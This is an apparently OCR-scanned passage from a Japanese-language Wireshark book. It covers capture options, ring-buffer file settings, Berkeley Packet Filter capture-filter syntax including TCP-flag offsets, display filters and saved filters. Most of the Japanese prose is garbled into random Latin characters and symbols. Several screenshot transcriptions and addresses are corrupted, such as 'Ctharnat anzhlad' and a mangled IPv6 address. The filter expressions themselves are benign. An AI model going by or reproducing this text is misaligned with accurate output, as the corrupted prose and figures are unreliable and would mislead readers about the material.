Ao TNUNOENRTIRIEZER L7221 T BRERFRI bR TLEVE T,

MNo. Time Source Destination
4 0.118129 172.16.0.8 198.78.206.126
6.0.8 188.78.206.126
6 0.000077 172.16.0.8 198.78.206.126
7 0.000153 172.16.0.8 198.78.206.126

X4-8 HEAERZIRROELEICE 57/ b

4.4 FYITFvATIavDEE
SETIINNT Y MYy T F Y DOIEARTOIEARIZOWTHB L F L7z, Wireshark TlZEI4-912777 &
912, [Capture Options] ¥4 7U I NLE3FEER LT T a v w#lETEET, ¥4 7ur %I

[l Wireshark: Capture Options E@u

-Captur

Interface: |Local [ 7] | intel(R) 82567LM Gigabit Network Connection: \Device\WPF (7D v |
IP address: 172.16.0.8

Link-layer header type: H

| Wireless Settings |

Capture packets in promiscucus mode Remote Settings |
Capture packets in pcap-ng format (experimental)
i : s e Buffer size: |1 E megabyte(s)

Limit each packetto |1 ~ bytes
[Qaptule Fikter.] || "Z]

-Capture File(s) rDisplay Options
File: | | [B'ME'“] Update list of packets in real time
Use multiple files
[7] Next file S 1 = T g Automatic scrolling in live capture
[ Nextfile every 1 <] [minute(s) i Hide capture info dialog
[¥] Ring buffer with |2 = files
Al rName Resolution
(il Stop capture after (1 — file(s)
T e Enable MAC name resclution
- after 1 7| packet(s) Enable network name resolution
.. after l = | megabyte(s) -
L 1 ey = Enable transport name reselution
sat__) [[_Concel
. S

X4-9 [Capture Options] #1707
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44 FvIFvFTVIVORE |

59

1%, [Capture] — [Interfaces] Z#INL., $rv b aFx TF ¥y Lo f V¥ =T ZADOHIZH A
[Options] K% > %271 v s LET,

[Capture Options] ¥4 72 72 HNINEB T TR OVTVETE, WIFhd \r v b Fy
TF X EBEMNICT L7200 D TF, [Capture]. [Capture Files], [Stop Capture]. [Display

Options]. [Name Resolution] &\ o724 7 a v 20 EO0FORTWwEELEH ™,

4.41 Captures&®

[Capture] £ 7 ¥ 3 »® [Interface] K1 v 7457 ) AT,

HENROAY NI =740 —T =

A A%RIRLFET, EloRray 747 ) 285 [Local] & [Remote] Z¥W N #2252 L T, V)
E—MRAMDA VI =T 2 A AZ/ETHIEDBUARTT AUMOFTY TFY ) AMTIEFY T
F X\ HHWRER A V5 — T2 A AD—ENRFIRENF T, FOv ¥y A=2—D T, #INL

T

EERIE BRI TR DN — ¥ 3 » 1.8.0 T R E O 3-5 T L7z & 5 \BENIC O287 v b2 R F %
TF ¥k LR o7z72®, [Options] K% O [Capture Interfaces] ¥4 707 FHIZET SN TVET,
¥X¥TF ¥ 354 % —7 x4 XL [Capture Options] ¥4 7O 7N THDTHEINT D L) Ih>TwET,
BE B R IR O N =Y 3 Y 1.8.0 Tld, R3S THHILZZE BN F ¥ T F v {RDA V5 —T 2 4 AN
BHGRITHE L 2 > TV b 720, K4-10D X 912, [Capture Options] ¥4 70 7 2SKIBICAE SN TWE T,

Capture
Capture Interface Link-layer header Prom. Mode Snaplen [B] Buffer [MB]C =
Intel(R) 82579LM Gigabit N--- |
f2B0::4ce7:4437:6C0C:5435 Ethernet enabled default 1 =
192.168.1.202
Microsoft: ¥Device¥NPF_{5---
fee:14dd7 boes:sseb 2175 Ethernet enabled  default 1
102.168.1.202
Intel: ¥Device¥NPF_{75E9C--
B senneinecssackfran.cacs Ctharnat anzhlad Acfant 1 2
< m 3
Capture on all interfaces
Capture all in promiscuous mode
Capture Fila(s) Display Options
File: ‘ [gmwae...]

Use multiple files

Use pcap-ng format

[Y] Next file every = [megabyte(s) -
[[] Mext file every = [minute(s) -
[] Ring buffer with = files

] Stop capture after = file(s)

Stop Capture ...

... after 1 = packet(s)

... after 1 = |megabyte(s) -
... after 1 = | minute(s) -

Update list of packets in real time
Automatic scrolling in live capture

Hide capture info dialog

Name Resolution

Enable MAC name resolution
Enable network name resolution

Enable transport name resolution

X4-10

[Capture Options] #170%

S

(k=

- gk
~ it
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60 | 4= WiresharkTOIWTy hF v TF v DF I vy

AV =T 2 AADIPT FUADBERENE T,

EHED3OOF 2y 7Ky 7 AT, 7UIAF Y AE—FORMERHZL VX720 (F7 4+
TRANCZ>THET), B TIZEREBICH L pcapng 74—~y M THRF v M edy I F v
L7z, %7y bOY A4 XD FREZNA PRALTIRELAZDTHI L TEET,

[Capture] 7 ¥ a v OfHEDORS Tk, E\HRPLYE— bOBRENSWRETT (72720, Thb
HERTTRE 56 DR

FDTFIZH D [Buffer size] + 7Y 3 »id, WindowsDSEIfEL TW5B Y AT A TOARIGEN e+
TarT, ¥y T F XLy bVET A AT ISEEALHNS, —FRETEH — ANV Ny 77 DH
A ZX%RBELET (REONXT Y MDPHEFEENTVEEVSTZIRBIZESHWRD, CofE > ZH$
LUV TLED )

4.4.2 Capture File(s)E&=E

[Capture File(s)] 227 ¥ a Y CREZITHIZLT, Xy b ETF Yy 7F ¥y LTHhL T 74 VI
P35 20 TIERL, FY T F X L3y MEEHBINICT 7 A VIBRAET 2 2 &AL 2D, 287y
MRAETLFMAERLI LB TEET, RO, H—T7 740, 7740ty b, BELLEHD
T7ANVTIEEZAT) ) ¥ 7Ny 7 7 EREINTEE T, T4+ T T arzfliyicid, [Filel 7%
ANRY 7 AT 7ANVD TV AL " ATTLET,

KEDONNT Y Nedx X 7 F 235560, RO oTF Yy 7F vy 27 ) LAIE. 7740k
FORICER T, 7740y b, fRESNEOTHElsni—HD 7 7 A VEERLE T,

KRG VE—=FRAIDA 7 —7 24 202, [Capture] £ 27 ¥ 3 > D4 FiZdH 5 [Manage Interfaces] K
YU RTEFIREND A= 2 =TIV ET,

TUIAF ¥ AE— FORE, K757 v FO¥ A X LB, [Buffer size] + 73 3 YIS TLHER, K15 —
T ARRTTNIY) v 7§ 5EFRENS [Edit Interface Settings] 54 7THZTA ¥ ¥ —T7 = 4 AT LI
9 (B4-11), 7O IZAF v ZE— FOHHL, HRLETXTOL 5 —7 2 4 ATEIYW Y B D255,
[Capture] ¥ 27 ¥ a VOETIZHBF v 7 Ky I ADORETHIEHTEET,

pcap-ng 7 4+ —< v FOffiliZ [Capture File(s)] £ ¥ a »® [Use pcap-ng format] ([X14-10) THIB L T3

e B W =

Capture
Interface:  Intel(R) 82579LM Gigabit Network Connection: \Device\NPF_{2AC0O81AD-49B7-4F4B-B47E-62EFBB881309}
TP address: | feB80::4ce7:4437:6c0c: 5435 ~

192.168.1.202

N, -

Link-layer header type: |Ethernet ﬂ Remote Settings
¥| Capt kets od

pture packets in Eromlscuousn? e \@
Limit each packet to | 65535 - bytes

Buffer size: |1 E megabyte(s)

[Qapture Filter‘.] ‘ El lCompiIe BPF]

X4-11 [Edit Interface Settings] #1707

S
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4.4 FHTFvF T IaVDETE 61

774Nty M LUTHRAET 5121, [Use multiple files] + 73 a3 v & #IRL T3,

Wireshark Tid, 7 7 4 WA ZERHICEDCEEEER M)A =T, 774ty bORIES A
IVTEHETAIENTEE T, NSO =% AT 5121E. [Next file every] + 73 3
Y (ERT 7 AN A RHED I A= THERICHESS N A=) OF v 7Ky 7 A% HIRL .,
MN)H—DEL B ZRELE T, F¥7F X L7287 v b A XATIMBISET AT EI2H L w
TZ7ANEERT BT =R, R4-120 X H 125 % I F Y B 15FB T T ECH LT 74
NVEER S I A= L2 EH L TEE T,

MName Date modified

|| Capture_00001_20091115155100 11/15/2011 3:51 PM
|| Capture_00002_20091115155200 11/15/2011 3:52 PM
|| Capture_00003_20091115155300 11/15/2011 3:53 PM
|| Capture_00004_20091115155400 11/15/2011 3:54 PM
|| Capture_00005_20091115155500 11/15/2011 3:56 PM
|| Capture_00006_20091115155600 11/15/2011 3:56 PM
|| Capture_00007_20091115155700 11/15/2011 3:57 PM
|| Capture_00008_20091115155800 11/15/2011 3:58 PM
|| Capture_00009_20091115155300 11/15/2011 3:59 PM
|| Capture_00010_20091115160000 11/15/2011 4:00 PM

(4-12 Wiresharkic&W) 1 pERTIER S W=7 7 1)Lty b

F T arefAEbETHITAZ LI METT, L 2R EBLEDOMN) -2 W igET 5 L.
T—=BIMBF ¥ 7F ¥ EN5Hh, HEVI1IGFEMET 0, EEOPDOFEMIMWIZIND LH%
T ANVPER S NE T,

[Ring buffer with] i&. 77 A vty MEROBIIZ) Y Ny 7729+ 7T a v TF, Tt
Wireshark D 7 7 £ MIZHZAATWLERIZ, WhbW AL FIFO R EH WA EEZITWE T,
BFWHEMTE I TNy T 7 IS ESERBREDHDETA, T2 TR 774 Vvky FOBRED
T 7 AN SIS 2T E ST — 8 2 RAFT 2 LERBAE LIS OO T 74 V%
FEXTRIILTIANEY M EERLES, SO T Va2 RELLEA, ERTA 774 VD
RARBABELE T WICIHBECH LT 7 A VEMEKT 2 X9 FEL. Vo Ny 77% 6]
WL LELL ) 6FHDO 77 ANDMERSND L) TNy T H—R L, 7HFHOT7 74
WaERT ALY, MO T7ANVE LFHELET, COREETTLLE, FILnTF—2idHEA
FNFTH N—FFAAIHNDOT—=F 77 A VOEMNR6MUEICHZL1EHY) A

[Stop capture after] 7> a v &9 &, BELLED T 7 4 VHER S NKE T, Fxy 7 F %
EEIET L L) RETEET,

4.4.3 Stop Captures®E
[Stop Capture] £ 7 ¥ 3 ¥ Tid, M) F—DFEMNmIzEINREHE T Y 7F v 2 LT 5 R ED
T2F4. 7740y b2 HVBEE, 774 VA AR OIS, 2S7y M c X B8

S
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62 | 48  Wireshark CD)\ Ty b+ TFvDT I

H—=bVEETEE T, INHDOFT T a v id, BEEHBE LA T a v EOBHNTHETT,

4.4.4 Display Optionsi&E

[Display Options] £ 27 ¥ a3 > Ti&, ¥ 7F ¥ L7237y O FOREZHI#EITE £9, [Update
list of packets in real time] IZHTHEBY D+ 7 3 ¢, [Automatic scrolling in live capture]
T a v bRMAGDLETHMTHZIEATEET, MAFZHEMITLHE, HLETFy 7 F v L7z
Ty MPBREIET, $v 7 F v L7z RTONT y M ERENTE T,

[Update list of packets in real time] & [Automatic scrolling in live capture] Z—#&
@ [CERAT L. TNEFEXRETHVWT =97+ v TIF v IHBEATH. CPUICIEEDE

BHODDDET. UZILTA LTIy hZERT DLENEVRD, COF T3>
FEAEBFEDFEVEINAENTUL LD,

[Hide capture info dialog] 7> a v &ffi) &, Fx 7 FyHid, Ty 7Fx L7z 7ry ok
W=ty METHPINTEICERT NS LT 4 VR REFPFREND L) IR FT,

4.4.5 Name Resolutioni&E

[Name Resolution] €27 ¥ a ¥ Tid, ¥¥ 7FYNOMAC (52)8), xv b7 —2 8 (6E38E). b
Ty AR=b (5B4RG) THEINW & ARTRILO I N % HI#H T & 9. Wireshark D #RIfFIICOWT
E, FORELED, SETHLIHBPLET,

4.5 T4IVF%EES

TANEY EfED & T ROy FEIEICIRETE T3, MiHIZE) & 74V F1E, LS
7y N RITETPENT 0050 EHRT DL TT, FRLILKBWry B IUE, 74
NVEERERLTHBIACTET T, 2%y MNISE Rz w ) a3, Biovor o M2 %3
RTBHTANY ZERTIUT L WOTT,

Wireshark 1213, KEL 2O T4 VI HBHY F T,

o XY TFxTA4NTIF, NIy EFYTTF X LTCOLBICHEASNE DT, e Sh7zfX
D& FFEDNNT Y bOAREF Y TF ¥ THLDTT,

o FUATLATANFIE, FXTFYFAD/ Ty MIEASNLSOT, /8 Shfscicd
DE ARGy M IFFIRICILZD . BBy bOBREFIRLIZNTEHHDTT,

FFEF YT FYIANT R R THAEILE ),

451 FvTF+T711LF
FXTFXTANTIE, Ny b eFr T F Y LTCVBBICEHEINE T, F¥y FFr 7407 &l

S
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45 T4L5%EES | 63

)RR N T+ =Y ARZHYET. bF T4y 2 DEEOHMDIRNITAETH B L bhoTw
BUE. FXTFyTANITTIANIETZE, 29 L2y b F v 7F ¥ 1249 430 CPU AT
fifcEEd,

MHOX Y 7F v 74V 2ERTEDHERRIE. KEOT =5 2O HEICBRT LT3, BTRS
oy FOARIZIRE LTt 2k 5 2 & T, ITEEZ BHELTE 29 5T,

FXTFXTANTOMERABFE LT, 728 2IFE8FEELF—ERAZRP LTV LH— "D IT
T4y 2 EFRXTFXTHLEAVETONE T, L2 E 262/ AR — b2 T - AZHRMEL
TVEY—NDOINT TN 2—=T4 VTR EZTARELLE) o BITRROY = \PEFLEFRR-TT
P—UCRZRMELTDLEE, 262FR—1M DT 7149 7 DA% RO TRNT 5725 TH —% T
TH, FXYTFXTANT M ANL262F/AE— POy bOAEF YT F Y TEET, ZOEDORY)
W2 L7z £ 912, [Capture Options] %4 70755, UMTFOLHIZLTHF Y 7F v 7 4 V& & ERK
TEET,

1. [Capture] — [Interfaces] ZE R L7726, N7 v bOF ¥ T F ¥ Ilfliviong, V¥ —T7 x4 2D
FilZd % [Options] K% > %2 1) vz L, [Capture Options] ¥4 7u 7% & %3,

2. Ty bOF T F MBI, VI —T A AERRIRLET T,

3. [Capture Filter] X% > ORICHELE AN TAHI LT, Fy T Fy 7408 @AsShET, &
L 262FR— N CEZETLNT T4 v 72T % F ¥ 7F ¥ LoD T, B4-13D L 92 [port
262] E AN LET BTV TIIROETHELLHEM L E ),

4. TANE RV LS, [Start] K¥ v 227 v 7 LCEFY 7 F Y 20T

i Wireshark: Capture Options E@g
-Captun
Interface: |Local E Intel(R) 82567LM Gigabit Network Connection: \Device\MPF_{78D E]
IP address: 172.16.0.8
Link-layer header type: | Ethernet |Z| Wireless Settings
Capture packets in promiscuous mode Remote Settings
g ::;:uer:;a;:ect:elntzc:-p-ng format:(i(;eer;mental) Buffer size: |1 = megabyte(s)
- Capture File(s) Display Options —————————————————
File: [C]iUpdate list of packets in real time:

H4-13 [Capture Options] &4 7AJ Tx v TF v 71 LB EERT S

F BEAGE - BRSOl /N — 23 » 1.8.0Cld, ¥4 77 o [Options] K% »% 271 v 7 LT, [Capture
Options] ¥4 707 % & E3,

T B B S TR ON—=Y 3 V180T A V5 =T 2 A A% 5TV o) v 7 LTX4-11 TR L7z [Edit
Interface Settings] ¥4 707 %M & 3,

B BRI BERR R TR D N —2 3 ¥ 1.8.0Cid, [OK]I KF > %220 v 7 LTHhL [Startl K& &) v 7L
9,

S
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64 | 48  Wireshark CD)\ Ty b+ TFvDT I

HEBREDONN Ty beXx 7 F Y LThOMRT S L, 262FAR—MCEZEBETAHNT T4 7 DA
PHRZTWEIEITTT, SNTUELTFT =720 2R I TE T3,

4511 FvJ7F+./BPFiEX

Fx 7Fx 714V FIEWinPcap 2N % & DT, Berkeley Packet Filter (BPF) #§ Ttk L
F9. SFEER Ty MENTY =V TIOMXBEDLN T2 DIE, K087 MR Y — L3
BPFHESCIZ RS L7z libpcap/WinPcap 74 79 V) #fio TWAH NS TY . Ay NI =2 %8y b
NV T ENTS B BRI BPEAE SCO HERIZ AT K T,

BPF#E L% i CTHERL L7277 1+ V% % [3X (expression) ] L IFFON, ZhvEhoid12U Lo 7
) 374 7 (primitive) | THER SN TwEd, 7V I 74 70 (K420 L 9H12) 120 Eo [T
(qualifier) | &, ZDdH LICH{R4-14 TR L2 L) RIDLFH F23 oLy Mok s h
R

#*4-2 BPFOEHTF

Type ID 3551 R Bt 0 =ik host, net, port

Dir ID SCEF R FU il o diz % i 1) src, dst

Proto Ko Taban ether, ip. tcp. udp, http. ftp
TUET47 EETF TUET4T

A
. NAGER
dst host 192.168.0.10 && tcp port 80
S UL
@%Q« @?44 IDXXFF @44 @/« IDZEF

K4-14 F5TF 571 I2O—1H)

FEICR Mo TAHAFE L L Do srelBfiT-£192.168.0.10 W) IDLFFH 2 MAGHOESL I &
TTIVITATHRERLET SOTVITATDARIEL, 192.168.0. 10 VHIPT FLARLD b
FTIA4 I DHREFYTF X THLENIRUIRDFET,

WA T A>T I T4 TR MAG LY, KVRELRXNEAER TSI LAWETT, fizs
MEHAETIID T O30T,

o HFIFHE T AND (&&)
o FHFIANEE T OR (]])
o TIEHHT NOT (1)




——

45 T4L5%EES | 65

—BlE 75 L, RONIL192.168.0.10 &L W) EEITLIPT KL AT, 80FAR— M THEZEFE IS
FIA I DREFY T Fr LIET

src 192.168.0.10 && port 80

4512 RAMREZRLARICEKDT 1LY
TANT DL L, WERFED Ry b7 — 7B B IRET5b0TT, IRRITE-T, B
DOMACT KL A, IPV47 FL A, IPv6 7 KL A, DNSH R 7% El2EDNT T4 V7 TV ET,
e ZE AV ET =7 LOHHHF—NERYY LTS, EHEFAMDET T 4 7 H5RATH
PHELFELE) =T, ZOKRAMDIPVEAT FLAZHWATRTDINT T4 v I ERF X TF %
THT74NVY %, host BfiFZflio TIERLE T,

host 172.16.16.149

IPv6 4 v M7 — 2 OBEiE, host Bfi ¥ 2> TIPV6 T FLAIZE S 74V ZITVET,
host 2001:db8:85a3::8a2e:370:7334

RANGTTANE ZITH) ZEHWEETT,

host testserver2

FAMDIPT FUADREE ISNLWHENEZ G 2D THIUL, ether £\ Proto (Fu b))
B2k 5Ty MACT FLATIANVY 2479 2L BWHETT,

ether host 00-la-a0-52-e2-a0

HEE M E RS DIrBfi 713, SHODBREEMAGDOEL I ETIRE LML %ETDd LA
WHETHNT T4 2 Xy T FXTHLAICIEbNTE T, 728 21X FERA NV REITO b
574y DREFYTF X LI2FUL, sreBfli-2MmL 9,

src host 172.16.16.149

172.16.16.149 DY — NP BEIAE LA, TV —NZHEET LTI DAEF XY IF v §
570, dstBHi T2 ML 3,

dst host 172.16.16.149

Type5fii - (host. net. port) 7V I 54 7T LR WEEL, host Bii T ZIBE LD
DLHBEEINF T, LA > THOBITldhost i T2 AL 2 L b HETT,

dst 172.16.16.149

4.5.1.3 K—b&TORINICEDT LY
FAMIIETLT AN FPINT, K57 7 MBIV K= N TT AV 479 LD TEET, K-

S
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66 4E  Wireshartk COI\T Y b TFvDT I v

MZXBT74VFIE, —EAR= IR TNEYT—EAR T T —2a IO T4 V7 %
THOBICHATEE S, 728213 8080F R — P CTHIEENBE T 749 7 DARE XY TF v B
BRI A4 VT TOLICRDET,

port 8080
8080 H AR — FUATHEENETRTDIN T 74 v 72Xy TF X THHFIIRDIIIHVET,
Iport 8080
R=MIED74VF LR E RS IBEHT2MAGbEL I EBWRERTY, 728 213, R

%80FMDHTTP R — FTREBLZIT TS Webh —NZ25ELETEHINT T4 v 7 DHREF Y TF YT 5
Yy, dst BiF 2T,

dst port 80

4514 JOMINWICEKDT1ILY

TUMINICEDE T AN 2 LT FEDOTTNINTTIA NI ZIT) LN TEET, &
NE, R=PMIEBENTERY, 77XV r—varyBUAOTaravziwET ABICHVET,
722XV ICMP NS 74 v 2 2032 B L2 WGEIZL, SOT4 NV EBHTE T3,

icmp
IPV6 h T 7 4 v 7 UMD TRTDOIS 749 7 & RIzWEER, o2 T,

1ip6

4515 JOPINT1—=IVRICKDT 1LY

BPFHLOIETI DV E DA, 7B ANy FDENA NPT, 07— F D5k 7 4
W EERTELETT, CSTHMTLIOEER T4V F &flH &, 237 v FOREDALE D
SIREDONA MAEMERT A LD TEET,

72l 2RV ICMPAY DI AT T 4=V RTTA VT Zffwlcnk LELL ) ¥4 T 74— F
328y hO—FRHICHY, 71y M0 L RoTHET, 237y MATHARLWAE Z @3
A2, 7u b a v BTV CA 7y Miix [1 5% (square bracket) THHATIHEEL 7,
L OBITIiEicmpl0] &4V FE T, THICED IS FOEBMEDSRAENL DT, IS
ERTETT, 72& 21, FELRRE (Destination Unreachable) X vt —3 (¥ 4 73) ®ICMP /¥
Ty bOREIUFT L0, 74 VIR TRO L) ICEMEEE T2V E9,

icmp[0] == 3

ITa—%R (¥4 78) LT a—m& (#470) DICMP/$% v b &Nz E W) 413,
2007 IF AT EORME T2V ET,

S




——

45 TA)F=E[ES 67

icmp[0] == 8 || icmp[0] == 0

INHDOTANTIE) FLMRELE T, 7ANFIHZ 01, 7y by FHNDTz572184
P2 TCF, FVRI LI, N 5HNOF 71y MEOH LN, MREEZIT Y (1) TRY ST
FT5ZLT, BHEWL T - RERET LN TEET,

7oL 213 ICMPD % 4 73, 2—F1 CRAMGERRE) T v MaF vy 7 F v 3574 V58 &2EK
L7zwELET, SENNT Y Ay FDF 7y FORLIBEALINA MDD T 4=V F2DICRDF T,
CNEBIT B0, N b T DT Ty OO IAT 5254 hOF— % iR L. 161
0301 (#1473, a—F1) LT E274 vy 2B LE T,

icmp[0:2] == 0x0301

RST7 7 7hty FENZZTCP A v MEFE2F X 7F ¥ LiznE w2 EREHY 3, TCPIZ
DWTREETHELLHMLETOT, TITERTCP Y v b7 5703+ 71y b 13I2hH B LD
CERTHRLTLZ S, SRIEINA MDD T ST T 4=V RTTH, SO, FHDOEKEE Y Mk o
TIS7DWMNENDE V) 74—V T, TCP Ty yCRBED 75 7 % FIFICHKETE LD
T tepll3] W) KBTI RMICT AN T 2T TN TEFE A BEOETRSTE v baAY
Yy FENTOVRWHRELEDH 505 TT, HAENEONA FPATONEEZIFET S720120E, 207
VITH T & 2 MT52LERHDET RST7 I 7EZDONA MNTLLEWHfELDT, ZTD
Ey MR EENTEY, 4L VI > TN 7 T/ HRESNTVWLZ IR T,

tepll13] & 4 == 4

BLWIHHDE Y "OPSH 7 F 7 A3ty FENTWA ST v M2 BRL-WEAIR, fAbYIZZDfh
EEigELET

tep[13] & 8 == 8
4516 F¥IOFv¥T71ILFTDH|

HRIZE 72T ANVI BB TELDRE) DT, BT OREZRTELLE VS THHEE TIERWTL X
Io RA-ZFEZNILMEI XX TF X 74 VT DO—BITT,

T BEEE - FH Ry MU L 20O LS 5 THHT 2000 THETRIAL TWA LR Z FT, Bk, 2Lz
EPSH7 7713y b3ty hENDZ L THMMEEN S 20, [(Ev 137%1) »2° =8|, 2% ) 8 L iR 1T
ZIE BV F30Ey PERTVARE ) PDHERTE L L V) T ETY,

S
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68 | 48  Wireshark CD)\ Ty b+ TFvDT I

£4-3 FKEIFXYTFHT4IER

A% sitEA

tep[13] & 32 ==32 URG 7 7 7 hty b &7z TCP/3r v b

tcpl13] & 16 ==16 ACK7 7 7Hty h&N7=TCP/37 v b

tcp[13] & 8 == 8 PSH7 Z 753ty &7z TCP/ ¥ v k

tep[13] & 4 == 4 RST7 7 7 ht v h&N7=TCP/¥7 v b

tep(13] & 2 == 2 SYN 7 Z 7 hy hEN72TCP2Vr v b

tep[13] & 1 == 1 FIN 7 7 7Ht vy b 3N7=TCP %7 v b

tecp[13] ==18 TCP SYN-ACK /Y7 v |k

ether host00:00:00:00:00:00 BELZMACT FLATREZEENLE T 71492
(EBOMACT FLAICHE &2 %)

lether host 00:00:00:00:00:00 BELEZMACT FLAUNCTEZEESNL N T 7407
(EBOMACT FLAICEXIRZS)

broadcast TU—KEFXANNT T4 7 DA

icmp ICMP 7742

icmp[0:2] == 0x0301 ICMP & A M F3EARE

ip IPVvA T 749 7 DM

ip6 IPV6 +5 7 197 DA

udp UDP LT 7497 D&

452 F4AITLLIT1ILY

TARTLAT ARG F¥TF v 77 ANVICHEHENDE T4 VET, 74 NVTIIRyFT 587y
MR FIREFLHDTT, T4 AT LA 740 %7I& [Packet List] A4 > ® E#RI2dH 5 [Filter] 7
FANKY 7 AR ELET

FAATUA TANIZHIBEEIF Y TF XY 7ANTEVENTLED . 2R EBEOF ¥ 7F v
TTANDT =5 %% Tl Oy bDTANVTEFIZENTELNLTT, 74V
SOREHETH7Z2TT, BADXF XY TF X 77 ANVELEIS L THFRT L2 TEET,
TAARATVATANTIE, FXYTTFv T 7ANMDE, BMERZTO—FF Y A My bMEHET S
BCH LB 9, 728 21F [Packet List] XA Y25 ARP 70— F¥ % 2 WM L7257V
ERREVOTHELZZVWEVSEATY, Lidvwi, 29 LAZARP7E—REy 2 M%7 v M
DHIZEFHNLEIL R 200 LILEVOT, HIBRT2L0b, 74 AT LA 7405 T—IHIZHE
REELRNEIIZTBIE) VLD TT,

ARP/37 v b & IEFIRITT H121E, [Packet List] <A > 1#IZH 5 [Filter] 7F A MKy 7 A2
T4 —=HALZIRECR4-150 X 912 [larp) & AJI L. [Packet List] XA ¥ 59 XTDARP/Y
ro b EHEELET. 7407 2l A2, [Clear] X% %27V v 7 LET,

Filter: larp ~ Expression.. Clear Apply

X4-15 [Packet List] <4 > L&D [Filter] T¥X MRy IR TTF 1 T LA T 1 IV 2EEKRTS

S
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45 T4L5EES | 69

4.5.2.1 [Filter Expression] 1705 (GBIK{ERETE)

X4-16 ® [Filter Expression] ¥ A 7 1 71X, Wireshark #l.-0E VX ¥ 7 F ¥ 7 ANV IR T4 AT
LA TZANY ZEHIERTES L) ICLTNBIEEETT . ¥4 7u 7 % FRT5I121E, [Capture
Options] T [Capture Filter] K% > %271 v 7 L, &IZ [Expression] K% %271y s LE3",

FAT7ar7OEMIE, HHTERZ 7B AV T 4 = VEO—ERFIRENTE), ZIh oM
WREAR 7 AN BREEETEL LI EoTRET, TAVF BT 5121E, IFOFIHIIHES
TLZE WV,

1L 7ubavHokElHs [+] 22 )y 7 LT £7aba VTR 7 Vs BREBRL
T35, ALV TANSERE ) v 7 LTS v,

2. BIRL7z7 4 VS BEHRE, TOMOFMiEE T L TLZ28 v, #ili 3L HELwv (=), K
%0 () A (<) BREDWHFTTT,

3. HZEIRELT, 74V XA L T, Wireshark 2524t 3 2 E3FA DD 58N 2 20,
HE T E LT E Y,

4. TANWIOERDE T L7225 [OKI RF v %27 ) v 7 LTSV fER L7274 VI BT F R

FCERENET,
B Wireshark: Filter Expression - Profile: Default E‘Eﬂ
Field name Relation Value (Boolean)

-~ H 1
IOXIDResolver - DCOM OXID Resolver is present

Bl IP - Internet Protocol i Pl
ip.version - Version s _
ip.hdr_len - Header Length Normal
ip.dsfield - Differentiated Services field
ip.dsfield.dscp - Differentiated Services Codep i
ip.dsfield.ect - ECN-Capable Transport (ECT) |
ip.dsfield.ce - ECN-CE
ip.tos - Type of Service
ip.tos.precedence - Precedence
ip.tos.delay - Delay
ip.tos.throughput - Throughput
ip.tos.reliability - Reliability

ip.tos.cost - Cost
ip.len - Total Length Range (offsetlength)

4 T 2

L

X4-16 [Filter Expression] 1 7O7#{E5 T« W2 EEBEICIER TE S

T OEE BZOLLZORMBIZEZOWE T, EEII XA > 1 ¥ KT [Expression] K% %271y 7§57
A4 v A=a2—0 [Analyze] %*5 [Display Filters] Z#RL., ¥4 71 712H % [Expression] K¥ v & 71) v 7
FTLUENEHVET,

S
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70 | 48  Wireshark CD)\ Ty b+ TFvDT I

[Filter Expression] ¥4 7 & Z & @0 (IS IEF NAF R ZRAERETT A, 74 V& O ) 258
BTEIUE, FETTIANY ZERT B3I DBREVILCTLE) e TAAT VA 74N T IRIEFIC
ARG I/ Y =4 1 G IS

4.5.2.2 T« IFRDIGE (HUWMERTE)

FXTFXTANIRTAAT LA T4 NVEIE FFEDOT T NIV NTT 4 V7 ZET BB
WS ZEDRLNVWTLE ) 2L ZWETCPONTI TN Y 2 =T 4 Y 7OYE, TCPONT 7 49 7 L
AHIR 2 LER VDT, TCPOREFRT 57 4V 2ERTUE L WO TT,

COBEENOMHEAS R TAHAEL L9 TCPICHM L2 NG TN 2 —T 4 ¥ %419 BN %%
ATCHET. pingZ L LT ICMPDO NI 7 4 v 7B KREIZEAE LA, liemp & vy 7 1)L
ZefliziE ICMPO NS 74 v 2 B HRTHIENTEE T,

WBGHE T 2M 2L AT 2228 TEFE Y, 2L ZWETCP/IPAY b T—2 DT T )
Ya—TA Y TORE FEDIPT FLAZ BRI 2TRTONT v M BRI IHNET,
WBEHESA T [==] 24 213, 192.168.0.1 L WHIP T FLAZGEL/NT v FOREFIRT D T4V
ek c& 9,

ip.addr==192.168.0.1

GEEIZRED128 NN FUTONT v NOARERRTIEEEEZTAELE). ZOWEIT[<=]
EWVI) I E T2 74V R TRHATRIE X W TF,

frame.len <=128

Wireshark T GE 7 LIRS -13FR 4-4 D L BYTT,

+=4-4 WiresharkD7 1 L2 E L TERTE S LEBEET

== HELw

I= FLlBw
> )

< N2 D)

>= Dk

<= LUF

LA TR L, BBO 7 AV REZ 12O THIENTET Y, mBliHA T2 Vw2 %
FTIEATENE, 7ANT ORERPRIBICIEM L . 72& 21 22DIPT FL AR EEL T v
FeFOR LW EEZ2ZTHELL ) SOREIE, o] HET 2o TROLIIZEELHDIP
TRVAZEG Ty P EFRT 2R EENI I VOTY,

ip.addr==192.168.0.1 or ip.addr==192.168.0.2

Wireshark Cff I I fE 2 i Bl 5 - 13X 450 L BY T,

S
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45 TA)F=E[ES 7

+4-5 WiresharkD7 1 )L2E L TERTE5HRITEET

and T I

or il

Xor Pt r 5 B
not e

4523 F4AITLLT1ILFDHI

TANETOMEIHELL DY THAD, EBEIZTANVT ZERT I, EALRF—T—FR
WHET M0 LML IATLE) . RABIZEHED LM FAATLAL 747 DWW
KO RLET, —EIZDOWTIEWireshark® 74 A 7L A 7405 D) 77 L v Ahttp://www.
wireshark.org/docs/dfref/ # S L T 72 &\,

£4-6 LLFERAINBT A ITLAT1ILAE

T1ILA Si85

ltep.port==3389 RDP 774 v 7 LTS

tep.flags.syn==1 SYN 77 73ty F&N7=TCP¥ 7 v b
tcp.flags.rst== RST7 7 7%ty N&N7=TCP ¥ v |

larp ARP N7 74 v 7 % HETS

http HTTP T 747

tep.port==23 || tecp.port 21 EXDEFM NS 74> 2 (Telnet, FTP)

smtp || pop || imap FLDEAF A—NVEF5 T 1492 (SMTP, POP, IMAP)

45.3 T1IVIDRE

FXTFXTANIRTFTA AT LA TANT ZNDEINEST B E, HEIMED 74 V803D b
LRI ETLE) e FOVRILTA NI ZMELIER T 2L EIEH ) T A, Wireshark (ZI3,
T AN R T DL D LDOTT MAICERL2F Yy 7F ¥ 74V 25T 512, T
FMEIZHE - TLIEE W,

1. A==2—75 [Capture] — [Capture Filters] % #IR L. [Capture Filter] ¥ {4 71 7 % fivT
{728,

2. FAT7ursOkMICHL [New] Ky 22 ) v o L, #7274 V8 2R LET,

3. [Filter name] Ky 7 2274 V¥ %% A LET,

4. [Filter string] R 27 21274 V¥ XEADLET,

